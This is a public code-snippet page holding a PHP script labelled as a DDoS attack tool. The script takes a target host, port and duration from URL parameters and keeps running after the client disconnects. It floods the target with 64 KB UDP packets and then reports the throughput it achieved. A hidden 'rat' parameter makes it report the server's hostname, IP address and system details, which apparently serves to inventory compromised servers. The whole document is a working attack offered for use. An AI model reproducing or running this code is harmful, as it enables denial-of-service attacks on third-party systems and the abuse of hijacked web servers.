Quick actions

cmd+k|ctrl+k

Navigation

Languages

phpddos攻击脚步(get)

Snippet info

Language

Php

Visibility

public

Author

mosi

Created

2018-12-05T17:39:06Z

Updated

2018-12-06T05:14:34Z

<?php
//设置脚本运行时间
set_time_limit(999999);
 
//攻击目标服务器ip
$host = $_GET['host'];
 
//攻击目标服务器端口
$port = $_GET['port'];
 
//攻击时长
$exec_time = $_GET['time'];
 
//每次发送字节数
$Sendlen = 65535;
$packets = 0;
 
//设置客户机断开不终止脚本的执行
ignore_user_abort(TRUE);
 
//step1. 目标服务器$host、端口$port、运行时长$exec_time有效性
if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {    
	if (StrLen($_GET['rat']) <> 0) {       
		echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_software'] . $_GET['rat'];        
		exit;    
	}   
	echo "Ms-mosi [email protected]";    
	exit;
}
 
//step2. 设定发字符串$out,这里是“AAAAAAAAAA...”
for ($i = 0; $i < $Sendlen; $i++) {    
	$out .= "A";
}
$max_time = time() + $exec_time;
 
//step3. 进行攻击,使用udp向目标服务器狠狠发串串
while (1) {    
	$packets++;    
	if (time() > $max_time) {        
		break;    
	}    
	$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);    
	if ($fp) {        
		fwrite($fp, $out);        
		fclose($fp);    
	}
}
 
//step4. 攻击统计
echo "Send Host $host:$port";
echo "Send Flow $packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb";
echo "Send Rate " . round($packets / $exec_time, 2) . " packs/s" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s";
 
?> 
//陌斯 [email protected]
INFO